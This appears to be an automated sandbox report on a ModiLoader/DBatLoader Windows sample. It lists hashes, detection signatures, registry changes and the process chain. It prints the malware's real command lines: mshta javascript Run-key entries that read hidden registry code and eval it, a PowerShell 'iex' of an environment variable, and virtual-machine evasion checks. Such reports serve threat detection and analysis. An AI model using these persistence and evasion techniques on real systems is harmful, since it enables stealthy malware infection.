Analysis
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max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
08-05-2024 04:28
Static task
static1
Behavioral task
behavioral1
Sample
2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe
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Size
350KB
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MD5
2332a86850a89ca99287ee8cb4edab76
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SHA1
408825fb03d5bc3a61b7f78d6a506d88d3c7203f
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SHA256
ef75313f6cc105d3a1de733b60a7afb654af7daa44e7fc2debf730dcf5873973
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SHA512
b3c2afcb4273b8e7dc7beca948baf6841cca9017f433c0c2c3ea659bf2de44ca7e7ce84f0b5b649cb914e712a61a33b420034c8b7212692b093044ad647c1c6d
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SSDEEP
6144:/452i2IUhFh3iHMviCRdj8zNnOH046hJ1aZOTCt/Gc1YzcjCdPCE:/c2i2bFhyHMvxRdCiCJ8ZOWtecucjCdZ
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2676 2964 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 52 IoCs
Processes:
resource yara_rule behavioral1/memory/1028-11-0x0000000000400000-0x000000000045D000-memory.dmp modiloader_stage2 behavioral1/memory/1028-14-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1028-17-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1028-16-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1028-18-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1028-15-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1028-13-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1028-22-0x0000000000400000-0x000000000045D000-memory.dmp modiloader_stage2 behavioral1/memory/2412-29-0x00000000061E0000-0x00000000062A0000-memory.dmp modiloader_stage2 behavioral1/memory/2412-32-0x00000000061E0000-0x00000000062A0000-memory.dmp modiloader_stage2 behavioral1/memory/2728-35-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-39-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-41-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-42-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-44-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-48-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-47-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-46-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-43-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-40-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-38-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-37-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-36-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-49-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/1700-53-0x0000000000170000-0x0000000000230000-memory.dmp modiloader_stage2 behavioral1/memory/1700-58-0x0000000000170000-0x0000000000230000-memory.dmp modiloader_stage2 behavioral1/memory/1700-57-0x0000000000170000-0x0000000000230000-memory.dmp modiloader_stage2 behavioral1/memory/1700-56-0x0000000000170000-0x0000000000230000-memory.dmp modiloader_stage2 behavioral1/memory/1700-55-0x0000000000170000-0x0000000000230000-memory.dmp modiloader_stage2 behavioral1/memory/1700-54-0x0000000000170000-0x0000000000230000-memory.dmp modiloader_stage2 behavioral1/memory/2728-59-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-67-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-61-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-77-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-79-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-78-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-76-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-75-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-74-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-80-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-73-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-72-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-71-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-70-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-69-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-68-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-66-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-65-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-64-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-63-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-60-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 behavioral1/memory/2728-81-0x00000000000D0000-0x0000000000190000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:nSBQUyK0=\"FbGz\";gK0=new%20ActiveXObject(\"WScript.Shell\");nVW6LIs4Jz=\"bx2\";XQu5Q=gK0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\53dad737a9\\\\1e949dc7\");U7zBVfp=\"KBaM\";eval(XQu5Q);ROM4XvS=\"6XOCWN8d\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2728 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:hZNv5uruH=\"GeeQAEubr\";s32s=new%20ActiveXObject(\"WScript.Shell\");Z9rYNY8h=\"iEuB\";Go9Pp=s32s.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\53dad737a9\\\\1e949dc7\");aO4zSLwHH=\"UZ2V\";eval(Go9Pp);NpRQfiC20=\"jfU3xCD\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:lW4qtrTM2a=\"px\";sT66=new%20ActiveXObject(\"WScript.Shell\");pYb53IGM=\"cHo8rLUV\";ng6vW9=sT66.RegRead(\"HKCU\\\\software\\\\53dad737a9\\\\1e949dc7\");wJRvrMe7A=\"pm\";eval(ng6vW9);eWJ7ee9dyl=\"YXSFQ\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 2412 powershell.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
powershell.exeregsvr32.exepid process 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2412 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exepid process 1028 2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exepid process 1028 2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
mshta.exepowershell.exeregsvr32.exedescription pid process target process PID 2676 wrote to memory of 2412 2676 mshta.exe powershell.exe PID 2676 wrote to memory of 2412 2676 mshta.exe powershell.exe PID 2676 wrote to memory of 2412 2676 mshta.exe powershell.exe PID 2676 wrote to memory of 2412 2676 mshta.exe powershell.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2412 wrote to memory of 2728 2412 powershell.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe PID 2728 wrote to memory of 1700 2728 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1028
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:r5BeFHa="5qUe96e3";b0X2=new%20ActiveXObject("WScript.Shell");FVOV5mn6Px="xl";WIw9l0=b0X2.RegRead("HKLM\\software\\Wow6432Node\\eCyDX2gexK\\U0Wm6KS");jEuca2w7="QA8VlP";eval(WIw9l0);Jqt4djsRY="tgc2";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:lceodylb2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1700
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2